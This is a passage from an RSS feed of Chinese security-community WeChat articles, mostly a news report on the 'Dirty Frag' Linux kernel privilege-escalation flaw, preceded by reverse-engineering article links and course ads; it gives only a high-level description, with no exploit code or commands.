style="margin-bottom: 10px;white-space: normal;box-sizing: border-box;"><div style="color: rgb(68, 73, 85);box-sizing: border-box;"><p style="box-sizing: border-box;"><span style="color: rgb(255, 206, 25);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">#</span></strong></span><strong style="box-sizing: border-box;"><span leaf=""> 三月</span></strong></p></div></div><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458304662&amp;idx=1&amp;sn=89d7927ca309af4d693c5ff200811350&amp;chksm=b181f01c86f6790a149c68a009f608624665d20dd03c44420388f5813a2750eecc628f9dacf6&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">ollvm后的算法还原案例分享</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458304730&amp;idx=1&amp;sn=a522c42517b2b1ffb2031e9146f1ae17&amp;chksm=b181f05086f67946baff00d6059e9b6551279485dfc81ff8185501c705971b738eb15dfabd3d&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">ollvm CrackMe算法分析</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458304692&amp;idx=1&amp;sn=777528f345f912590b852db47886737d&amp;chksm=b181f03e86f6792887d3ffed88b43b1d8f36043a5226da72253b8102dc40880a3369d7bf1122&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">ART下Hook系统函数修改内存中指定方法的运行指令逻辑案例分享</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458304521&amp;idx=1&amp;sn=9f70b92b88a9c108344e5c08daa1032f&amp;chksm=b181f08386f67995cc41c1d767ff8b2eb9a9d442b9405d94c1ae98db4d047e7f97743998b358&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">某类抽取加固APP的脱壳与修复</span></a></span></span></p></div></div></div></div></div></div></div><div style="box-sizing: border-box;font-size: 16px;margin-bottom: 0px;"><div powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;min-width: 10%;max-width: 100%;vertical-align: top;transform: matrix(1, 0, -0.2, 1, 0, 0);border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);border-radius: 0px;background-color: rgba(255, 255, 255, 0);box-shadow: rgb(0, 0, 0) 0px 0px 0px;box-sizing: border-box;"><div powered-by="xiumi.us" style="box-sizing: border-box;"><div style="display: flex;flex-flow: row nowrap;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;flex: 100 100 0%;align-self: flex-end;height: auto;border-style: none;border-width: 0px;border-radius: 0px;border-bottom-color: rgb(132, 198, 255);box-sizing: border-box;"><div powered-by="xiumi.us" style="padding-right: 3px;padding-left: 3px;text-align: justify;color: rgb(36, 154, 255);line-height: 1.4;letter-spacing: 2px;text-shadow: rgb(255, 255, 255) 1px 1px, rgb(180, 221, 255) 2.3px 2.3px;box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">报 名 地 址</span></strong></p></div></div></div></div></div></div></div><h3 style="margin-right: 16px;margin-left: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);letter-spacing: 1px;"><span leaf="">网课月薪三万计划：</span></span></h3><h3 style="margin-right: 16px;margin-left: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><a href="https://www.kanxue.com/book-brief-84.htm" target="_blank">https://www.kanxue.com/book-brief-84.htm</a></span></span></h3><p style="margin-right: 16px;margin-left: 16px;text-align: center;margin-bottom: 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9859154929577465" data-s="300,640" data-type="png" data-w="213" style="width: 139px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad28174b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8GzMn9WCdpj3v4BicrYQxMq1WAGrN2mTiaTshjLG7IKygeF5hTPktOa6NEFX2thb5YIVBAEboJOqRNQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-right: 16px;margin-left: 16px;text-align: center;margin-bottom: 0px;"><span style="color: rgb(95, 95, 95);font-size: 14px;"><span leaf="">扫码立即报名！</span></span></p><p style="margin-right: 16px;margin-left: 16px;text-align: left;margin-bottom: 0px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;font-size: 15px;color: rgb(63, 63, 63);letter-spacing: 1px;"><span leaf="">网课月薪两万链接：</span></span></p><p style="margin-right: 16px;margin-left: 16px;text-align: left;margin-bottom: 0px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><a href="https://www.kanxue.com/book-brief-83.htm" target="_blank">https://www.kanxue.com/book-brief-83.htm</a></span></span></p><p style="text-align: center;margin-bottom: 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0047169811320755" data-s="300,640" data-type="png" data-w="212" style="width: 136px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7ab5e602&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8GzMn9WCdpj3v4BicrYQxMq1fZjk6B03DMPiapvXabyfHZic0nM34LXmSRf1ethDINiaTgfccDmkHoebA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0px;"><span style="color: rgb(95, 95, 95);font-size: 14px;"><span leaf="">扫码立即报名！</span></span></p><h3 style="margin-right: 16px;margin-left: 16px;white-space: normal;text-align: center;"><span style="color: rgb(63, 63, 63);font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">课程顾问微信：r0ysue（备注“安卓高研网课”）</span></span></span></h3><p style="margin-right: 16px;margin-left: 16px;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;margin-bottom: 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 589px !important;height: auto !important;" data-copyright="0" src="https://wechat2rss.xlab.app/img-proxy/?k=a981a1da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Djpeg"/></p><div style="box-sizing: border-box;font-size: 16px;margin-bottom: 0px;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: top;width: 20%;box-sizing: border-box;"><div style="text-align: center;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-type="gif" data-w="638" style="vertical-align: middle;width: 100%;box-sizing: border-box;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=34776bfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8EbEJaHl4j4oA4ejnuzPAicdP7bNEwt8Ew5l2fRJxWETW07MNo7TW5xnw60R9WSwicicxtkCEFicpAlQg%2F640%3Fwx_fmt%3Dgif"/></p></div><div style="font-size: 13px;font-family: Optima-Regular, PingFangTC-light;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: center;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: top;width: 23%;height: auto;box-sizing: border-box;"><div style="text-align: center;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-type="gif" data-w="638" style="vertical-align: middle;width: 100%;box-sizing: border-box;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=34776bfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8EbEJaHl4j4oA4ejnuzPAicdP7bNEwt8Ew5l2fRJxWETW07MNo7TW5xnw60R9WSwicicxtkCEFicpAlQg%2F640%3Fwx_fmt%3Dgif"/></p></div><div style="margin-top: 3px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: center;font-size: 13px;color: rgb(62, 62, 62);font-family: Optima-Regular, PingFangTC-light;box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;height: auto;box-sizing: border-box;"><div style="text-align: center;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-type="gif" data-w="638" style="vertical-align: middle;width: 100%;box-sizing: border-box;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=34776bfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8EbEJaHl4j4oA4ejnuzPAicdP7bNEwt8Ew5l2fRJxWETW07MNo7TW5xnw60R9WSwicicxtkCEFicpAlQg%2F640%3Fwx_fmt%3Dgif"/></p></div><div style="margin-top: 3px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: center;font-size: 13px;color: rgb(62, 62, 62);font-family: Optima-Regular, PingFangTC-light;box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div></div><div style="box-sizing: border-box;font-size: 16px;margin-bottom: 0px;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: bottom;width: 12%;align-self: flex-end;box-sizing: border-box;"><div style="margin-top: 0.5em;margin-bottom: 0.5em;box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6197183098591549" data-type="gif" data-w="71" style="vertical-align: middle;box-sizing: border-box;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d771261c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8EbEJaHl4j4oA4ejnuzPAicd7icG69uHMQX9DaOnSPpTgamYf9cLw1XbJLEGr5Eic62BdV6TRKCjWVSQ%2F640%3Fwx_fmt%3Dgif"/></p></div></div><div style="display: inline-block;vertical-align: bottom;width: 88%;padding: 5px;align-self: flex-end;box-sizing: border-box;"><div style="margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><div style="box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;"><span style="font-size: 14px;"><span leaf="">点击“阅读原文”，了解更多！</span></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://www.kanxue.com/book-leaflet-84.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ede289a3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614768%26idx%3D3%26sn%3D2a7f45abf94f140f472730c927db1da1">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>一条命令就能提权！Copy Fail 还没补完，Linux 内核又曝 Dirty Frag 漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614670&amp;idx=1&amp;sn=364bd9c47201a3c4b46f3ab61839a403</link>
      <description>主流发行版集体中招</description>
      <content:encoded><![CDATA[<p><span>看雪学苑</span> <span>2026-05-08 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5bcf050a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2tk405JV3z5YCibUbPcsVXFU2WSZWVAwEkooVDcxD2G93BwZeeT9zVQYicJmibsiajl2hUnBzIOjS48GvH4tkHNnEqzhia1eFT1micc%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>主流发行版集体中招</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 43px;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131000" src="https://wechat2rss.xlab.app/img-proxy/?k=8cfa7a6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0gp65bWqia1JgLM6yxDHDUzjBkdLOeGVMa32BAafgoQjWLnwFr9pm4IskDibSD180AqZnZ0ibPbAyZr8Jia4C6iaEhTAs5icb9UibsIQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;border-style: solid;border-width: 0px 1px;border-left-color: rgb(4, 4, 4);border-right-color: rgb(4, 4, 4);padding: 0px 23px;box-sizing: border-box;"><div style="text-align: justify;width: 100%;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">就在 Copy Fail 漏洞的补丁还在陆续推送时，一个名为 <span textstyle="" style="font-weight: bold;">Dirty Frag</span> 的全新本地提权零日漏洞又被公开。攻击者只需一条命令，就能在绝大多数主流 Linux 发行版上从普通用户直接拿到 root 权限，无须复杂条件即可完成攻击。</span></p></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: 43px;align-self: flex-end;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131002" src="https://wechat2rss.xlab.app/img-proxy/?k=6d31a77e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3eZjufYLwWM5Nia7zGcJtlbMiaqx6aEEMs5eDLUtAjic83er5M7CC4NqiaI7KSbrmuUic9KQVTia4mvW95wzk2tBFP9jib7MLReYAEKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(0deg, rgba(4, 4, 4, 0.16) 13%, rgba(4, 4, 4, 0.04) 88%);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(4, 4, 4);align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞速览</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131003" src="https://wechat2rss.xlab.app/img-proxy/?k=48d235f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K3lb5XfO85CUqOo3ZzzhHvRpdlzUfiaxjUN2uicSb6eg1N8hAsRvC9t7ImPoNalkib6h96lctb2tZnfHTvGKpEauFSjLG8f5nicc0o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf=""><span textstyle="" style="font-weight: bold;">漏洞名称：</span>Dirty Frag</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf=""><span textstyle="" style="font-weight: bold;">漏洞类型：</span>本地权限提升（Local Privilege Escalation, LPE）</span></p><p style="text-align: left;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf=""><span textstyle="" style="font-weight: bold;">影响对象：</span>主流 Linux 发行版，包括 Ubuntu、RHEL、CentOS Stream、AlmaLinux、Fedora、openSUSE Tumbleweed 等</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf=""><span textstyle="" style="font-weight: bold;">当前状态：</span>暂无 CVE 编号，暂无正式补丁</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf=""><span textstyle="" style="font-weight: bold;">利用难度：</span>极低，一行命令即可实现</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">发现者、安全研究员 Hyunwoo Kim 已发布完整技术文档与概念验证（PoC）代码，原因在于原本的漏洞披露禁运期被意外打破。</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(0deg, rgba(4, 4, 4, 0.16) 13%, rgba(4, 4, 4, 0.04) 88%);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(4, 4, 4);align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">攻击原理：两个老问题的致命串联</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131001" src="https://wechat2rss.xlab.app/img-proxy/?k=c0f35239&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2ibfkOowC9rKq4NNwqLoseAibibAyLLNSbLXcf3dgBTpkpqGEkMM549m5QsFeicgO0abIVNMpINn15RVpzgt3Ek3wHkick1Mq297Ls%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">Dirty Frag 的厉害之处，不在于它发现了某个全新的底层缺陷，而在于它把内核里存在已久的两个旧毛病串了起来。具体来说，漏洞位于 Linux 内核的 </span><em style="box-sizing: border-box;"><span leaf="">algif_aead</span></em><span leaf=""> 加密算法接口中，相关代码大约9年前就被引入。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">攻击技术精巧地结合了：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">1. xfrm-ESP 页面缓存写入漏洞</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">2. RxRPC 页面缓存写入漏洞</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">通过同时利用这两个缺陷，攻击者能够绕过限制，在内存中直接篡改受保护的系统文件，从而完成提权。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">虽然 Dirty Frag 与此前闻名的 Dirty Pipe、Copy Fail 属于同一大类漏洞，但它瞄准的是<span textstyle="" style="font-weight: bold;">内核数据结构的分片（fragment）字段，</span>也因此绕开了当时为应对前几起漏洞建立的部分防护。</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(0deg, rgba(4, 4, 4, 0.16) 13%, rgba(4, 4, 4, 0.04) 88%);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(4, 4, 4);align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">为何如此危险？确定性逻辑缺陷</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130999" src="https://wechat2rss.xlab.app/img-proxy/?k=053a3c91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K29nyPndVpD6UU3JAiaShCyJI0p7OpuvBjps0C53LEyV7yLLurg1TwNypAfiadLldD0MTAVQqLEngiaakwskMjlvCySzs2NsqgNYI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">Hyunwoo Kim对此的评价非常直白：</span></p><div style="margin: 10px 0% 8px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;border-left: 3px solid rgb(219, 219, 219);border-bottom-left-radius: 0px;padding: 0px 0px 0px 8px;align-self: flex-start;box-sizing: border-box;"><div style="color: rgba(0, 0, 0, 0.5);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">“和之前的 Copy Fail 一样，Dirty Frag 在所有主流发行版上都能立刻实现 root 提权。它本质上是一个<span textstyle="" style="color: rgb(63, 63, 